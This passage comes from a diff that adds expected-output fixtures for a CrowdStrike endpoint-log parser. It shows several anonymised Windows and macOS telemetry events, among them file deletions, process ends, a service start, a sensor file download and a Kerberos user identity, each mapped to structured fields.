"continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffd8844a59acce5e1f4ad01888", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "7073822473144", + "pid": 744, + "thread": { + "id": 48689911139327 + } + }, + "related": { + "hash": [ + "3011122681" + ], + "hosts": [ + "com1" + ], + "ip": [ + "67.43.156.13", + "67.43.156.14" + ], + "user": [ + "user5" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "user5" + } + }, + { + "@timestamp": "2020-11-08T17:05:54.670Z", + "crowdstrike": { + "ConfigStateHash": "3343111420", + "ContextProcessId": "1838383212125", + "ContextTimeStamp": "2020-11-08T17:05:51.534Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileObject": "18446636884348143072", + "IrpFlags": "1028", + "MajorFunction": "18", + "MinorFunction": "0", + "OperationFlags": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-b23b-064dea059649", + "name": "ExecutableDeletedV3" + }, + "device": { + "id": "ffffffff4a0946365161093453e596d4" + }, + "event": { + "action": "ExecutableDeleted", + "category": [ + "file" + ], + "created": "2020-11-08T17:05:54.670Z", + "id": "ffffffff-1111-11eb-b23b-064dea059649|ffffffff4a0946365161093453e596d4|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextProcessId\":\"1838383212125\",\"ContextThreadId\":\"27242382481217\",\"ContextTimeStamp\":\"1604855151.534\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileIdentifier\":\"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff\",\"FileObject\":\"18446636884348143072\",\"IrpFlags\":\"1028\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\WindowsApps\\\\Deleted\\\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\\\clrcompression.dll\",\"aid\":\"ffffffff4a0946365161093453e596d4\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ExecutableDeleted\",\"id\":\"ffffffff-1111-11eb-b23b-064dea059649\",\"name\":\"ExecutableDeletedV3\",\"timestamp\":\"1604855154670\"}", + "outcome": "success", + "type": [ + "deletion" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699", + "extension": "dll", + "inode": "b0754a8f86feffffb0754a8f86feffff09764a8f86feffff", + "name": "clrcompression.dll", + "path": "\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll", + "type": "file" + }, + "host": { + "id": "ffffffff4a0946365161093453e596d4", + "os": { + "type": "windows" + } + }, + "message": "ExecutableDeleted", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff4a0946365161093453e596d4", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "1838383212125", + "thread": { + "id": 27242382481217 + } + }, + "related": { + "hash": [ + "3343111420" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:00.047Z", + "crowdstrike": { + "AsepWrittenCount": 0, + "ConfigStateHash": "230795414", + "ContextProcessId": "318137549555284836", + "ContextTimeStamp": "2020-11-08T17:05:35.209Z", + "DirectoryCreatedCount": 0, + "DnsRequestCount": 0, + "Entitlements": "15", + "ExecutableDeletedCount": 0, + "FileDeletedCount": 0, + "NetworkBindCount": 0, + "NetworkCapableAsepWriteCount": 0, + "NetworkCloseCount": 0, + "NetworkConnectCount": 0, + "NetworkListenCount": 0, + "NetworkRecvAcceptCount": 0, + "NewExecutableWrittenCount": 0, + "SHA256HashData": "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a", + "SuspectStackCount": 0, + "SuspiciousDnsRequestCount": 0, + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-ae31-065d76bec0c3", + "name": "EndOfProcessMacV11" + }, + "device": { + "id": "ffffffffcfe84e8c6a52c4001bd83761" + }, + "event": { + "action": "EndOfProcess", + "category": [ + "process" + ], + "created": "2020-11-08T17:06:00.047Z", + "id": "ffffffff-1111-11eb-ae31-065d76bec0c3|ffffffffcfe84e8c6a52c4001bd83761|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0009202.1\",\"ConfigStateHash\":\"230795414\",\"ContextProcessId\":\"318137549555284836\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855135.209\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"20195\",\"SHA256HashData\":\"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"318137549555284836\",\"aid\":\"ffffffffcfe84e8c6a52c4001bd83761\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-ae31-065d76bec0c3\",\"name\":\"EndOfProcessMacV11\",\"timestamp\":\"1604855160047\"}", + "outcome": "success", + "type": [ + "end" + ] + }, + "host": { + "id": "ffffffffcfe84e8c6a52c4001bd83761", + "os": { + "type": "macos" + } + }, + "message": "EndOfProcess", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffcfe84e8c6a52c4001bd83761", + "version": "1007.4.0009202.1" + }, + "process": { + "entity_id": "318137549555284836", + "hash": { + "sha256": "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a" + }, + "pid": 20195, + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a", + "230795414" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:13.077Z", + "crowdstrike": { + "ApiReturnValue": "1", + "ConfigStateHash": "3338885535", + "ContextProcessId": "683078218537", + "ContextTimeStamp": "2020-11-08T17:06:11.731Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-a570-0685ba2a382f", + "name": "RegisterRawInputDevicesEtwV1" + }, + "device": { + "id": "ffffffff80984ea8b49d9a53f590c566" + }, + "event": { + "action": "RegisterRawInputDevicesEtw", + "category": [ + "host", + "configuration" + ], + "created": "2020-11-08T17:06:13.077Z", + "id": "ffffffff-1111-11eb-a570-0685ba2a382f|ffffffff80984ea8b49d9a53f590c566|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ApiReturnValue\":\"1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"683078218537\",\"ContextTimeStamp\":\"1604855171.731\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"EtwRawProcessId\":\"19400\",\"EtwRawThreadId\":\"9384\",\"aid\":\"ffffffff80984ea8b49d9a53f590c566\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"RegisterRawInputDevicesEtw\",\"id\":\"ffffffff-1111-11eb-a570-0685ba2a382f\",\"name\":\"RegisterRawInputDevicesEtwV1\",\"timestamp\":\"1604855173077\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "ffffffff80984ea8b49d9a53f590c566", + "os": { + "type": "windows" + } + }, + "message": "RegisterRawInputDevicesEtw", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff80984ea8b49d9a53f590c566", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "683078218537", + "pid": 19400, + "thread": { + "id": 9384 + } + }, + "related": { + "hash": [ + "3338885535" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:14.018Z", + "crowdstrike": { + "CompletionEventId": "Event_ChannelDataDownloadCompleteV1", + "ConfigStateHash": "3338885535", + "DownloadPort": 443, + "EffectiveTransmissionClass": "0", + "Entitlements": "15", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8ab5-0643392fc75d", + "name": "LFODownloadConfirmationV1" + }, + "device": { + "id": "ffffffffffc94c645268f64fc900213f" + }, + "event": { + "action": "LFODownloadConfirmation", + "category": [ + "file" + ], + "created": "2020-11-08T17:06:14.018Z", + "id": "ffffffff-1111-11eb-8ab5-0643392fc75d|ffffffffffc94c645268f64fc900213f|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"CompletionEventId\":\"Event_ChannelDataDownloadCompleteV1\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"DownloadPath\":\"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys\",\"DownloadPort\":\"443\",\"DownloadServer\":\"lfodown01-b.cloudsink.net\",\"EffectiveTransmissionClass\":\"0\",\"Entitlements\":\"15\",\"TargetFileName\":\"C-00000013-00000000-00000408.sys\",\"aid\":\"ffffffffffc94c645268f64fc900213f\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"LFODownloadConfirmation\",\"id\":\"ffffffff-1111-11eb-8ab5-0643392fc75d\",\"name\":\"LFODownloadConfirmationV1\",\"timestamp\":\"1604855174018\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "path": "C-00000013-00000000-00000408.sys", + "type": "file" + }, + "host": { + "id": "ffffffffffc94c645268f64fc900213f", + "os": { + "type": "windows" + } + }, + "message": "LFODownloadConfirmation", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffffc94c645268f64fc900213f", + "version": "1007.3.0011603.1" + }, + "related": { + "hash": [ + "3338885535" + ], + "ip": [ + "67.43.156.14" + ] + }, + "server": { + "address": "lfodown01-b.cloudsink.net", + "domain": "lfodown01-b.cloudsink.net", + "registered_domain": "cloudsink.net", + "subdomain": "lfodown01-b", + "top_level_domain": "net" + }, + "tags": [ + "preserve_original_event" + ], + "url": { + "domain": "lfodown01-b.cloudsink.net", + "extension": "sys", + "original": "https://lfodown01-b.cloudsink.net/metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys", + "path": "/metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys", + "registered_domain": "cloudsink.net", + "scheme": "https", + "subdomain": "lfodown01-b", + "top_level_domain": "net" + } + }, + { + "@timestamp": "2020-11-08T17:06:17.513Z", + "crowdstrike": { + "ConfigStateHash": "1763245019", + "ContextProcessId": "2071361595421", + "ContextTimeStamp": "2020-11-08T17:05:46.590Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileObject": "18446622606546437424", + "IrpFlags": "395312", + "MajorFunction": "6", + "MinorFunction": "0", + "NewFileIdentifier": "4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00", + "OperationFlags": "0", + "TargetFileName": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-8162-0663305b686f", + "name": "NewExecutableRenamedV6" + }, + "device": { + "id": "ffffffff280b41b956a91e816bd9b9b0" + }, + "event": { + "action": "NewExecutableRenamed", + "category": [ + "file" + ], + "created": "2020-11-08T17:06:17.513Z", + "id": "ffffffff-1111-11eb-8162-0663305b686f|ffffffff280b41b956a91e816bd9b9b0|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"1763245019\",\"ContextProcessId\":\"2071361595421\",\"ContextThreadId\":\"41650430047375\",\"ContextTimeStamp\":\"1604855146.590\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileIdentifier\":\"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00\",\"FileObject\":\"18446622606546437424\",\"IrpFlags\":\"395312\",\"MajorFunction\":\"6\",\"MinorFunction\":\"0\",\"NewFileIdentifier\":\"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00\",\"OperationFlags\":\"0\",\"SourceFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\assembly\\\\temp\\\\EKA0UARWWK\\\\Microsoft.WSMan.Management.ni.dll\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\assembly\\\\NativeImages_v4.0.30319_64\\\\Microsoft.We0722664#\\\\c2579d00f9849413b8b7948dd00ac863\\\\Microsoft.WSMan.Management.ni.dll\",\"aid\":\"ffffffff280b41b956a91e816bd9b9b0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"NewExecutableRenamed\",\"id\":\"ffffffff-1111-11eb-8162-0663305b686f\",\"name\":\"NewExecutableRenamedV6\",\"timestamp\":\"1604855177513\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "Ext": { + "original": { + "name": "Microsoft.WSMan.Management.ni.dll", + "path": "\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll" + } + }, + "directory": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863", + "extension": "dll", + "inode": "4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00", + "name": "Microsoft.WSMan.Management.ni.dll", + "path": "\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll", + "type": "file" + }, + "host": { + "id": "ffffffff280b41b956a91e816bd9b9b0", + "os": { + "type": "windows" + } + }, + "message": "NewExecutableRenamed", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff280b41b956a91e816bd9b9b0", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "2071361595421", + "thread": { + "id": 41650430047375 + } + }, + "related": { + "hash": [ + "1763245019" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:20.332Z", + "crowdstrike": { + "ConfigStateHash": "402097454", + "ContextProcessId": "66601077523", + "ContextTimeStamp": "2020-11-08T17:06:05.213Z", + "DesiredAccess": "1048577", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "FileAttributes": "128", + "FileObject": "18446641334185168032", + "Information": "2", + "IrpFlags": "2180", + "MajorFunction": "0", + "MinorFunction": "0", + "OperationFlags": "0", + "Options": "35668001", + "ShareAccess": "3", + "Status": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9411-06b7c99be087", + "name": "DirectoryCreateV1" + }, + "device": { + "id": "ffffffff2c9f4066b0b5f2f00265503c" + }, + "event": { + "action": "DirectoryCreate", + "category": [ + "file" + ], + "created": "2020-11-08T17:06:20.332Z", + "id": "ffffffff-1111-11eb-9411-06b7c99be087|ffffffff2c9f4066b0b5f2f00265503c|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"402097454\",\"ContextProcessId\":\"66601077523\",\"ContextThreadId\":\"2500785639062\",\"ContextTimeStamp\":\"1604855165.213\",\"DesiredAccess\":\"1048577\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileAttributes\":\"128\",\"FileIdentifier\":\"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700\",\"FileObject\":\"18446641334185168032\",\"Information\":\"2\",\"IrpFlags\":\"2180\",\"MajorFunction\":\"0\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Options\":\"35668001\",\"ShareAccess\":\"3\",\"Status\":\"0\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\CbsTemp\\\\30848497_1904507751\\\\FodWU\",\"aid\":\"ffffffff2c9f4066b0b5f2f00265503c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"DirectoryCreate\",\"id\":\"ffffffff-1111-11eb-9411-06b7c99be087\",\"name\":\"DirectoryCreateV1\",\"timestamp\":\"1604855180332\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751", + "inode": "d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700", + "name": "FodWU", + "path": "\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU", + "type": "dir" + }, + "host": { + "id": "ffffffff2c9f4066b0b5f2f00265503c", + "os": { + "type": "windows" + } + }, + "message": "DirectoryCreate", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff2c9f4066b0b5f2f00265503c", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "66601077523", + "thread": { + "id": 2500785639062 + } + }, + "related": { + "hash": [ + "402097454" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:36.635Z", + "crowdstrike": { + "AuthenticationId": "999", + "ConfigStateHash": "3343111420", + "ContextTimeStamp": "2020-11-08T17:06:36.468Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InterfaceGuid": "367ABB81-9844-35F1-AD32-98F038001003", + "InterfaceVersion": "131072", + "RpcClientProcessId": "949196415400", + "RpcClientThreadId": "44209361549673", + "RpcNestingLevel": "0", + "RpcOpNum": "19", + "TokenType": "1", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-9c98-02c501fe7d81", + "name": "ServiceStartedV2" + }, + "device": { + "id": "fffffffffcc4413057adc260e99b0774" + }, + "event": { + "action": "ServiceStarted", + "category": [ + "process" + ], + "created": "2020-11-08T17:06:36.635Z", + "id": "ffffffff-1111-11eb-9c98-02c501fe7d81|fffffffffcc4413057adc260e99b0774|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"C:\\\\WINDOWS\\\\system32\\\\svchost.exe -k netsvcs -p -s wlidsvc\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextTimeStamp\":\"1604855196.468\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\svchost.exe\",\"InterfaceGuid\":\"367ABB81-9844-35F1-AD32-98F038001003\",\"InterfaceVersion\":\"131072\",\"RpcClientProcessId\":\"949196415400\",\"RpcClientThreadId\":\"44209361549673\",\"RpcNestingLevel\":\"0\",\"RpcOpNum\":\"19\",\"ServiceDisplayName\":\"wlidsvc\",\"TargetProcessId\":\"955370934902\",\"TokenType\":\"1\",\"UserName\":\"user6\",\"aid\":\"fffffffffcc4413057adc260e99b0774\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ServiceStarted\",\"id\":\"ffffffff-1111-11eb-9c98-02c501fe7d81\",\"name\":\"ServiceStartedV2\",\"timestamp\":\"1604855196635\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "host": { + "id": "fffffffffcc4413057adc260e99b0774", + "os": { + "type": "windows" + } + }, + "message": "ServiceStarted", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "fffffffffcc4413057adc260e99b0774", + "version": "1007.3.0011603.1" + }, + "process": { + "args": [ + "C:\\WINDOWS\\system32\\svchost.exe", + "-k", + "netsvcs", + "-p", + "-s", + "wlidsvc" + ], + "args_count": 6, + "command_line": "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc", + "entity_id": "955370934902", + "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe", + "name": "svchost.exe", + "title": "wlidsvc" + }, + "related": { + "hash": [ + "3343111420" + ], + "ip": [ + "67.43.156.14" + ], + "user": [ + "user6" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "user6" + } + }, + { + "@timestamp": "2020-11-08T17:06:40.836Z", + "crowdstrike": { + "ConfigStateHash": "203564169", + "ConnectionFlags": "0", + "ContextProcessId": "319255017313886870", + "ContextTimeStamp": "2020-11-08T17:06:40.751Z", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "0:0:0:0:0:0:0:0" + ], + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-81f1-061cdebbd115", + "name": "NetworkConnectIP6MacV5" + }, + "destination": { + "address": "0:0:0:0:0:0:0:1", + "ip": "0:0:0:0:0:0:0:1", + "port": 2181 + }, + "device": { + "id": "ffffffffed0f41575620ab9fb25ce105" + }, + "event": { + "action": "NetworkConnectIP6", + "category": [ + "network" + ], + "created": "2020-11-08T17:06:40.836Z", + "id": "ffffffff-1111-11eb-81f1-061cdebbd115|ffffffffed0f41575620ab9fb25ce105|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"203564169\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"319255017313886870\",\"ContextTimeStamp\":\"1604855200.751\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"LocalPort\":\"0\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemotePort\":\"2181\",\"aid\":\"ffffffffed0f41575620ab9fb25ce105\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkConnectIP6\",\"id\":\"ffffffff-1111-11eb-81f1-061cdebbd115\",\"name\":\"NetworkConnectIP6MacV5\",\"timestamp\":\"1604855200836\"}", + "outcome": "unknown", + "type": [ + "start", + "connection" + ] + }, + "host": { + "id": "ffffffffed0f41575620ab9fb25ce105", + "os": { + "type": "macos" + } + }, + "message": "NetworkConnectIP6", + "network": { + "direction": "outbound", + "iana_number": "6", + "transport": "tcp" + }, + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffed0f41575620ab9fb25ce105", + "version": "1007.4.0011104.1" + }, + "process": { + "entity_id": "319255017313886870" + }, + "related": { + "hash": [ + "203564169" + ], + "ip": [ + "67.43.156.14", + "0:0:0:0:0:0:0:0", + "0:0:0:0:0:0:0:1" + ] + }, + "source": { + "address": "0:0:0:0:0:0:0:0", + "ip": "0:0:0:0:0:0:0:0", + "port": 0 + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-11-08T17:06:52.031Z", + "crowdstrike": { + "AuthenticationId": "1656178821", + "AuthenticationPackage": "Kerberos", + "ConfigStateHash": "3338885535", + "ContextProcessId": "30254389526587", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "LogonId": "1656178821", + "LogonServer": "srv1", + "LogonTime": "2020-11-08T17:06:51.249Z", + "LogonType": "5", + "PasswordLastSet": "1530626210.104", + "RemoteAccount": "1", + "SessionId": "0", + "UserFlags": "32", + "UserLogonFlags": "0", + "cid": "ffffffff30a3407dae27d0503611022d", + "id": "ffffffff-1111-11eb-86e3-02db1faa1327", + "name": "UserIdentityV2" + }, + "device": { + "id": "ffffffff73164cfa9656c4caff8a2a38" + }, + "event": { + "action": "UserIdentity", + "category": [ + "authentication", + "iam" + ], + "created": "2020-11-08T17:06:52.031Z", + "id": "ffffffff-1111-11eb-86e3-02db1faa1327|ffffffff73164cfa9656c4caff8a2a38|ffffffff30a3407dae27d0503611022d", + "kind": "event", + "original": "{\"AuthenticationId\":\"1656178821\",\"AuthenticationPackage\":\"Kerberos\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"30254389526587\",\"ContextThreadId\":\"275230771323179\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogonDomain\":\"dom1\",\"LogonId\":\"1656178821\",\"LogonServer\":\"srv1\",\"LogonTime\":\"1604855211.249\",\"LogonType\":\"5\",\"PasswordLastSet\":\"1530626210.104\",\"RemoteAccount\":\"1\",\"SessionId\":\"0\",\"UserCanonical\":\"\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogonFlags\":\"0\",\"UserName\":\"user7\",\"UserPrincipal\":\"user7@dom4.cm\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-183372\",\"aid\":\"ffffffff73164cfa9656c4caff8a2a38\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserIdentity\",\"id\":\"ffffffff-1111-11eb-86e3-02db1faa1327\",\"name\":\"UserIdentityV2\",\"timestamp\":\"1604855212031\"}", + "outcome": "success", + "type": [ + "info", + "user" + ] + }, + "host": { + "domain": "dom1", + "id": "ffffffff73164cfa9656c4caff8a2a38", + "os": { + "type": "windows" + } + }, + "message": "UserIdentity", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff73164cfa9656c4caff8a2a38", + "version": "1007.3.0011603.1" + }, + "process": { + "entity_id": "30254389526587", + "thread": { + "id": 275230771323179 + } + }, + "related": { + "hash": [ + "3338885535" + ], + "hosts": [ + "srv1" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user7", + "user7@dom4.cm", + "S-1-5-21-606747145-1364589140-725345543-183372" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "dom4.cm", + "email": "user7@dom4.cm", + "full_name": "user7", + "id": "S-1-5-21-606747145-1364589140-725345543-183372", + "name": "user7" + } + }, + { + "@timestamp": "2020-11-08T17:07:17.946Z", + "crowdstrike": { + "AuthenticationId": "999", + "ConfigStateHash": "4193986770", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "ImageSubsystem": "2", + "IntegrityLevel": "16384", + "MD5HashData": 